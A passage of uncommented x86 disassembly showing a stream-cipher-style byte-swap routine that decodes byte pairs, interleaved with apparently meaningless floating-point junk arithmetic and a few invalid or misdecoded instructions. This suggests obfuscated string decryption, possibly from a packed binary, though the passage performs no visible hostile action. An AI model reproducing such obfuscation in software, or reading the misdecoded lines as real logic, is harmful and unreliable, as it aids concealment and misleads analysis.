or edx, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], edx
mov al, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], al
movzx ecx, byte [ebp - 0x32aa]
mov dl, byte [ebp + ecx - 0x59c4]
mov byte [ebp - 0x32dc], dl
movzx eax, byte [ebp - 0x3272]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx edx, byte [ebp - 0x3283]
add edx, ecx
mov byte [ebp - 0x3283], dl
mov al, byte [ebp - 0x3272]
add al, 1
mov byte [ebp - 0x3272], al
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp - 0x32aa]
mov al, byte [ebp + ecx - 0x59c4]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x3284]
movzx edx, byte [ebp - 0x3283]
mov al, byte [ebp + ecx - 0x59c4]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x3272]
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + ecx - 0x59c4]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x3272]
mov dl, byte [ebp - 0x32dc]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x32dc]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx edx, byte [ebp - 0x32db]
add edx, ecx
mov byte [ebp - 0x32db], dl
movzx eax, byte [ebp - 0x32de]
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx ecx, byte [ebp - 0x3272]
movzx ecx, byte [ebp + ecx - 0x59c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3284]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx ecx, byte [ebp - 0x32aa]
movzx ecx, byte [ebp + ecx - 0x59c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32db]
movzx ecx, byte [ebp + ecx - 0x59c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp + edx - 0x59c4]
xor eax, ecx
mov byte [ebp - 0x3284], al
mov dl, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], dl
mov al, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], al
cmp dword [ebp - 0x337c], 0
jle 0x4305c9
movsx cx, byte [ebp - 0x332b]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0x202], cx
movsd xmm0, qword [0xa71d18]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [0xa71c58]
movsd qword [ebp - 0x4338], xmm0
movsd xmm0, qword [0xa71b48]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [0xa71a78]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [0xa71978]
movsd qword [ebp - 0x3ef8], xmm0
movsd xmm0, qword [0xa717e0]
movsd qword [ebp - 0x453c], xmm0
movsd xmm0, qword [0xa716d8]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4338]
subsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x4338], xmm0
movsd xmm0, qword [ebp - 0x3ef8]
addsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x3ef8], xmm0
movsd xmm0, qword [ebp - 0x42d0]
subsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x453c]
subsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x453c], xmm0
movsd xmm0, qword [ebp - 0x4338]
subsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x4338], xmm0
movsd xmm0, qword [ebp - 0x3ef8]
mulsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x3ef8], xmm0
movsd xmm0, qword [ebp - 0x3ef8]
subsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x3ef8], xmm0
movsd xmm0, qword [ebp - 0x3ef8]
comisd xmm0, xmmword [ebp - 0x453c]
jbe 0x4307b3
movsd xmm0, qword [ebp - 0x3ef8]
addsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x3ef8], xmm0
movsd xmm0, qword [ebp - 0x4234]
subsd xmm0, qword [ebp - 0x453c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x42d0]
subsd xmm0, qword [ebp - 0x3ef8]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x42d0]
mulsd xmm0, qword [ebp - 0x3ef8]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x453c]
addsd xmm0, qword [ebp - 0x42c8]
movsd qword [ebp - 0x453c], xmm0
movsd xmm0, qword [ebp - 0x3ef8]
mulsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x3ef8], xmm0
mov eax, dword [ebp - 0x3600]
add eax, 0x11
mov dword [ebp - 0x3600], eax
jmp 0x430a6e
movsd xmm0, qword [ebp - 0x42d0]
divsd xmm0, qword [ebp - 0x4234]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x4234]
subsd xmm0, qword [ebp - 0x3ef8]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x3e08]
divsd xmm0, qword [ebp - 0x42c8]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x42c8]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x42c8]
mulsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x42c8]
subsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x3ef8]
divsd xmm0, qword [ebp - 0x453c]
movsd qword [ebp - 0x3ef8], xmm0
movsd xmm0, qword [ebp - 0x42d0]
mulsd xmm0, qword [ebp - 0x4234]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x4234]
divsd xmm0, qword [ebp - 0x3ef8]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x42c8]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4234]
subsd xmm0, qword [ebp - 0x3ef8]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x453c]
addsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x453c], xmm0
movsd xmm0, qword [ebp - 0x42c8]
subsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x42c8]
addsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x42d0]
comisd xmm0, xmmword [ebp - 0x42c8]
jbe 0x4309c6
movsd xmm0, qword [ebp - 0x3ef8]
mulsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x3ef8], xmm0
movsd xmm0, qword [ebp - 0x3e08]
divsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4234]
mulsd xmm0, qword [ebp - 0x453c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x42d0]
divsd xmm0, qword [ebp - 0x3ef8]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x42d0]
subsd xmm0, qword [ebp - 0x3ef8]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x3e08]
subsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x3ef8]
mulsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x3ef8], xmm0
jmp 0x430a6e
movsd xmm0, qword [ebp - 0x4338]
addsd xmm0, qword [ebp - 0x4234]
movsd qword [ebp - 0x4338], xmm0
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x4338]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x42c8]
addsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x4234]
divsd xmm0, qword [ebp - 0x453c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x42c8]
subsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x4338]
mulsd xmm0, qword [ebp - 0x4234]
movsd qword [ebp - 0x4338], xmm0
movsd xmm0, qword [ebp - 0x4234]
subsd xmm0, qword [ebp - 0x453c]
movsd qword [ebp - 0x4234], xmm0
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x4b44], ecx
jmp 0x430a8e
mov edx, dword [ebp - 0x4b44]
add edx, 1
mov dword [ebp - 0x4b44], edx
mov eax, dword [ebp - 0x4b44]
cmp eax, dword [ebp - 0x3600]
jge 0x430cf1
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x39a8], edx
mov eax, dword [ebp - 0x39ac]
add eax, dword [ebp - 0x39a8]
movzx ecx, byte [eax]
mov dword [ebp - 0x395c], ecx
mov dword [ebp - 0x3960], 0x49
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x39b0], eax
mov ecx, dword [ebp - 0x39ac]
add ecx, dword [ebp - 0x39b0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3870], edx
mov dword [ebp - 0x3874], 0x94
mov eax, dword [ebp - 0x395c]
sub eax, dword [ebp - 0x3960]
mov dword [ebp - 0x3878], eax
mov ecx, dword [ebp - 0x3870]
sub ecx, dword [ebp - 0x3874]
mov dword [ebp - 0x387c], ecx
mov edx, dword [ebp - 0x3878]
shl edx, 4
mov dword [ebp - 0x39b4], edx
mov eax, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], eax
mov ecx, dword [ebp - 0x39b4]
or ecx, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], ecx
mov dl, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], dl
movzx eax, byte [ebp - 0x32aa]
mov cl, byte [ebp + eax - 0x59c4]
mov byte [ebp - 0x32dc], cl
movzx edx, byte [ebp - 0x3272]
movzx eax, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp - 0x3283]
add ecx, eax
mov byte [ebp - 0x3283], cl
mov dl, byte [ebp - 0x3272]
add dl, 1
mov byte [ebp - 0x3272], dl
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp - 0x32aa]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3284]
movzx ecx, byte [ebp - 0x3283]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3272]
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3272]
mov cl, byte [ebp - 0x32dc]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x32dc]
movzx eax, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp - 0x32db]
add ecx, eax
mov byte [ebp - 0x32db], cl
movzx edx, byte [ebp - 0x32de]
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx eax, byte [ebp - 0x3272]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59c4]
xor edx, ecx
movzx eax, byte [ebp - 0x3284]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx eax, byte [ebp - 0x32aa]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
movzx eax, byte [ebp - 0x32db]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp + ecx - 0x59c4]
xor edx, eax
mov byte [ebp - 0x3284], dl
mov cl, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], cl
mov dl, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], dl
cmp dword [ebp - 0x337c], 0
jle 0x430cec
movsx ax, byte [ebp - 0x332b]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0x202], ax
jmp 0x430a7f
mov edx, dword [ebp - 0x3600]
add edx, 1
mov dword [ebp - 0x3600], edx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x3600]
add ecx, 1
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x39a8], edx
mov eax, dword [ebp - 0x39ac]
add eax, dword [ebp - 0x39a8]
movzx ecx, byte [eax]
mov dword [ebp - 0x395c], ecx
mov dword [ebp - 0x3960], 0x49
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x39b0], eax
mov ecx, dword [ebp - 0x39ac]
add ecx, dword [ebp - 0x39b0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3870], edx
mov dword [ebp - 0x3874], 0x94
mov eax, dword [ebp - 0x395c]
sub eax, dword [ebp - 0x3960]
mov dword [ebp - 0x3878], eax
mov ecx, dword [ebp - 0x3870]
sub ecx, dword [ebp - 0x3874]
mov dword [ebp - 0x387c], ecx
mov edx, dword [ebp - 0x3878]
shl edx, 4
mov dword [ebp - 0x39b4], edx
mov eax, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], eax
mov ecx, dword [ebp - 0x39b4]
or ecx, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], ecx
mov dl, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], dl
movzx eax, byte [ebp - 0x32aa]
mov cl, byte [ebp + eax - 0x59c4]
mov byte [ebp - 0x32dc], cl
movzx edx, byte [ebp - 0x3272]
movzx eax, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp - 0x3283]
add ecx, eax
mov byte [ebp - 0x3283], cl
mov dl, byte [ebp - 0x3272]
add dl, 1
mov byte [ebp - 0x3272], dl
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp - 0x32aa]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3284]
movzx ecx, byte [ebp - 0x3283]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3272]
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + eax - 0x59c4]
mov byte [ebp + ecx - 0x59c4], dl
movzx eax, byte [ebp - 0x3272]
mov cl, byte [ebp - 0x32dc]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x32dc]
movzx eax, byte [ebp + edx - 0x59c4]
movzx ecx, byte [ebp - 0x32db]
add ecx, eax
mov byte [ebp - 0x32db], cl
movzx edx, byte [ebp - 0x32de]
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx eax, byte [ebp - 0x3272]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59c4]
xor edx, ecx
movzx eax, byte [ebp - 0x3284]
movzx ecx, byte [ebp + eax - 0x59c4]
movzx eax, byte [ebp - 0x32aa]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
movzx eax, byte [ebp - 0x32db]
movzx eax, byte [ebp + eax - 0x59c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp + ecx - 0x59c4]
xor edx, eax
mov byte [ebp - 0x3284], dl
mov cl, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], cl
mov dl, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], dl
cmp dword [ebp - 0x337c], 0
jle 0x430f5b
movsx ax, byte [ebp - 0x332b]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0x202], ax
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x337c], edx
mov eax, dword [ebp - 0x3600]
add eax, 1
mov dword [ebp - 0x3600], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x39a8], ecx
mov edx, dword [ebp - 0x39ac]
add edx, dword [ebp - 0x39a8]
movzx eax, byte [edx]
mov dword [ebp - 0x395c], eax
mov dword [ebp - 0x3960], 0x49
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x39b0], edx
mov eax, dword [ebp - 0x39ac]
add eax, dword [ebp - 0x39b0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3870], ecx
mov dword [ebp - 0x3874], 0x94
mov edx, dword [ebp - 0x395c]
sub edx, dword [ebp - 0x3960]
mov dword [ebp - 0x3878], edx
mov eax, dword [ebp - 0x3870]
sub eax, dword [ebp - 0x3874]
mov dword [ebp - 0x387c], eax
mov ecx, dword [ebp - 0x3878]
shl ecx, 4
mov dword [ebp - 0x39b4], ecx
mov edx, dword [ebp - 0x387c]
mov dword [ebp - 0x39b8], edx
mov eax, dword [ebp - 0x39b4]
or eax, dword [ebp - 0x39b8]
mov dword [ebp - 0x39bc], eax
mov cl, byte [ebp - 0x39bc]
mov byte [ebp - 0x32de], cl
movzx edx, byte [ebp - 0x32aa]
mov al, byte [ebp + edx - 0x59c4]
mov byte [ebp - 0x32dc], al
movzx ecx, byte [ebp - 0x3272]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp - 0x3283]
add eax, edx
mov byte [ebp - 0x3283], al
mov cl, byte [ebp - 0x3272]
add cl, 1
mov byte [ebp - 0x3272], cl
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp - 0x32aa]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3284]
movzx eax, byte [ebp - 0x3283]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3272]
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + edx - 0x59c4]
mov byte [ebp + eax - 0x59c4], cl
movzx edx, byte [ebp - 0x3272]
mov al, byte [ebp - 0x32dc]
mov byte [ebp + edx - 0x59c4], al
movzx ecx, byte [ebp - 0x32dc]
movzx edx, byte [ebp + ecx - 0x59c4]
movzx eax, byte [ebp - 0x32db]
add eax, edx
mov byte [ebp - 0x32db], al
movzx ecx, byte [ebp - 0x32de]
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp + edx - 0x59c4]
movzx edx, byte [ebp - 0x3272]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59c4]
xor ecx, eax
movzx edx, byte [ebp - 0x3284]
movzx eax, byte [ebp + edx - 0x59c4]
movzx edx, byte [ebp - 0x32aa]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
movzx edx, byte [ebp - 0x32db]
movzx edx, byte [ebp + edx - 0x59c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59c4]
movzx edx, byte [ebp + eax - 0x59c4]
xor ecx, edx
mov byte [ebp - 0x3284], cl
mov al, byte [ebp - 0x32de]
mov byte [ebp - 0x32aa], al
movsd xmm0, qword [0xa71f68]
movsd qword [ebp - 0x49d8], xmm0
movsd xmm0, qword [0xa71de0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [0xa71a70]
movsd qword [ebp - 0x45c0], xmm0
movsd xmm0, qword [ebp - 0x4724]
subsd xmm0, qword [ebp - 0x45c0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x4724]
addsd xmm0, qword [ebp - 0x45c0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x4724]
addsd xmm0, qword [ebp - 0x45c0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x49d8]
comisd xmm0, xmmword [ebp - 0x45c0]
jbe 0x431269
movsd xmm0, qword [ebp - 0x45c0]
mulsd xmm0, qword [ebp - 0x49d8]
movsd qword [ebp - 0x45c0], xmm0
movsd xmm0, qword [ebp - 0x4724]
subsd xmm0, qword [ebp - 0x45c0]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x45c0]
subsd xmm0, qword [ebp - 0x49d8]
movsd qword [ebp - 0x45c0], xmm0
mov cl, byte [ebp - 0x3284]
mov byte [ebp - 0x332b], cl
jmp 0x4312b1
movsd xmm0, qword [ebp - 0x49d8]
divsd xmm0, qword [ebp - 0x45c0]
movsd qword [ebp - 0x49d8], xmm0
movsd xmm0, qword [ebp - 0x4724]
subsd xmm0, qword [ebp - 0x49d8]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x49d8]
subsd xmm0, qword [ebp - 0x45c0]
movsd qword [ebp - 0x49d8], xmm0
cmp dword [ebp - 0x337c], 0
jle 0x4312d0
movsx dx, byte [ebp - 0x332b]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0x202], dx
mov ecx, 2
imul edx, ecx, 0x26
mov dword [ebp - 0x5140], edx
cmp dword [ebp - 0x5140], 0x4e
jae 0x4312e9
jmp 0x4312ee
call fcn.009f5b17
xor eax, eax
mov ecx, dword [ebp - 0x5140]
mov word [ebp + ecx - 0x200], ax
jmp 0x431354
mov dword [ebp - 0x493c], 0
jmp 0x43131b
mov edx, dword [ebp - 0x493c]
add edx, 1
mov dword [ebp - 0x493c], edx
cmp dword [ebp - 0x493c], 0x27
jge 0x431354
mov eax, dword [ebp - 0x493c]
shl eax, 1
mov dword [ebp - 0x513c], eax
cmp dword [ebp - 0x513c], 0x4e
jae 0x43133d
jmp 0x431342
call fcn.009f5b17
xor ecx, ecx
mov edx, dword [ebp - 0x513c]
mov word [ebp + edx - 0x200], cx
jmp 0x43130c
lea eax, [ebp - 0x200]
mov dword [ebp - 0x45e0], eax
mov ecx, dword [ebp - 0x45e0]
add ecx, 2
mov dword [ebp - 0x63b0], ecx
mov edx, dword [ebp - 0x45e0]
mov ax, word [edx]
mov word [ebp - 0x4b1e], ax
add dword [ebp - 0x45e0], 2
cmp word [ebp - 0x4b1e], 0
jne 0x43136f
mov ecx, dword [ebp - 0x45e0]
sub ecx, dword [ebp - 0x63b0]
sar ecx, 1
mov dword [ebp - 0x63b4], ecx
mov edx, dword [ebp - 0x63b4]
lea eax, [edx + edx + 2]
mov dword [ebp - 0x4590], eax
mov dword [ebp - 0x3210], 0
mov dword [ebp - 0x3194], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x472c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45c8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45c8], xmm0
jmp 0x431403
movsd xmm0, qword [ebp - 0x45c8]
addsd xmm0, qword [0xa71340]
movsd qword [ebp - 0x45c8], xmm0
movsd xmm0, qword [0xa71918]
comisd xmm0, xmmword [ebp - 0x45c8]
jbe 0x4314b4
movsd xmm0, qword [0xa71648]
mulsd xmm0, qword [ebp - 0x45c8]
mulsd xmm0, qword [ebp - 0x45c8]
movsd xmm1, qword [ebp - 0x45c8]
mulsd xmm1, qword [ebp - 0x45c8]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713e8]
mulsd xmm1, qword [ebp - 0x45c8]
mulsd xmm1, qword [ebp - 0x45c8]
addsd xmm1, qword [0xa714c8]
mov edx, 0xff2ffff
pop eax
or eax, 0xa714c8
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x472c]
movsd qword [ebp - 0x472c], xmm0
movsd xmm0, qword [ebp - 0x472c]
comisd xmm0, xmmword [0xa71558]
jbe 0x4314af
movsd xmm0, qword [0xa712f8]
mulsd xmm0, qword [ebp - 0x45c8]
movsd xmm1, qword [ebp - 0x472c]
subsd xmm1, xmm0
movsd qword [ebp - 0x472c], xmm1
jmp 0x4313eb
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x472c]
jbe 0x431524
cdq
loope 0x43145a
aad 0x93
fst dword [ebx - 0x66285f29]
invalid
mov dword [ebp - 0x3210], 0x4314c1
mov dword [ebp - 0x3194], 0x431509
mov ecx, dword [ebp - 0x3210]
mov dword [ebp - 0x4274], ecx
mov edx, dword [ebp - 0x3194]
mov dword [ebp - 0x6368], edx
mov byte [ebp - 0x3ff0], 0x1a
mov dword [ebp - 0x3798], 0
jmp 0x431572
mov eax, dword [ebp - 0x3798]
add eax, 1
mov dword [ebp - 0x3798], eax
cmp dword [ebp - 0x3798], 0x100
jae 0x431593
mov ecx, dword [ebp - 0x3798]
mov dl, byte [ebp - 0x3798]
mov byte [ebp + ecx - 0x69e8], dl
jmp 0x431563
mov dword [ebp - 0x44e4], 0
mov byte [ebp - 0x3359], 0
mov dword [ebp - 0x3798], 0xff
jmp 0x4315bf
mov eax, dword [ebp - 0x3798]
sub eax, 1
mov dword [ebp - 0x3798], eax
cmp dword [ebp - 0x3798], 0
jbe 0x43182f
mov dword [ebp - 0x4b48], 0
mov dword [ebp - 0x4940], 1
mov ecx, dword [ebp - 0x4940]
cmp ecx, dword [ebp - 0x3798]
jae 0x431600
mov edx, dword [ebp - 0x4940]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4940], eax
jmp 0x4315e0
mov ecx, dword [ebp - 0x44e4]
mov dword [ebp - 0x5138], ecx
cmp dword [ebp - 0x5138], 3
ja case.default.0x43161f
mov edx, dword [ebp - 0x5138]
jmp dword [edx*4 + 0x46afb8]
movzx eax, byte [ebp - 0x3359]
movzx ebx, byte [ebp + eax - 0x69e8]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x431708
movzx ecx, byte [ebp - 0x3359]
movzx ebx, byte [ebp + ecx - 0x69e8]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x431708
movzx edx, byte [ebp - 0x3359]
movzx ebx, byte [ebp + edx - 0x69e8]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x431708
movzx eax, byte [ebp - 0x3359]
movzx ebx, byte [ebp + eax - 0x69e8]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x431708
movzx ecx, byte [ebp - 0x3359]
movzx edx, byte [ebp + ecx - 0x69e8]
mov eax, dword [ebp - 0x6368]
add eax, dword [ebp - 0x44e4]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3359], dl
mov edx, dword [ebp - 0x44e4]
add edx, 1
mov dword [ebp - 0x44e4], edx
movzx eax, byte [ebp - 0x3ff0]
cmp dword [ebp - 0x44e4], eax
jb 0x431746
mov dword [ebp - 0x44e4], 0
movzx ecx, byte [ebp - 0x3ff0]
movzx edx, byte [ebp - 0x3359]
add edx, ecx
mov byte [ebp - 0x3359], dl
movzx eax, byte [ebp - 0x3359]
and eax, dword [ebp - 0x4940]
mov dword [ebp - 0x427c], eax
mov ecx, dword [ebp - 0x4b48]
add ecx, 1
mov dword [ebp - 0x4b48], ecx
cmp dword [ebp - 0x4b48], 0xb
jbe 0x431785
mov eax, dword [ebp - 0x427c]
xor edx, edx
div dword [ebp - 0x3798]
mov dword [ebp - 0x427c], edx
mov edx, dword [ebp - 0x427c]
cmp edx, dword [ebp - 0x3798]
ja 0x431600
mov eax, dword [ebp - 0x3798]
cmp eax, dword [ebp - 0x427c]
je 0x43182a
mov ecx, dword [ebp - 0x427c]
movzx edx, byte [ebp + ecx - 0x69e8]
mov eax, dword [ebp - 0x3798]
movzx ecx, byte [ebp + eax - 0x69e8]
xor ecx, edx
mov edx, dword [ebp - 0x3798]
mov byte [ebp + edx - 0x69e8], cl
mov eax, dword [ebp - 0x3798]
movzx ecx, byte [ebp + eax - 0x69e8]
mov edx, dword [ebp - 0x427c]
movzx eax, byte [ebp + edx - 0x69e8]
xor eax, ecx
mov ecx, dword [ebp - 0x427c]
mov byte [ebp + ecx - 0x69e8], al
mov edx, dword [ebp - 0x427c]
movzx eax, byte [ebp + edx - 0x69e8]
mov ecx, dword [ebp - 0x3798]
movzx edx, byte [ebp + ecx - 0x69e8]
xor edx, eax
mov eax, dword [ebp - 0x3798]
mov byte [ebp + eax - 0x69e8], dl
jmp 0x4315b0
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x69e8]
mov byte [ebp - 0x32e4], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x69e8]
mov byte [ebp - 0x3306], dl
mov eax, 1
imul ecx, eax, 5
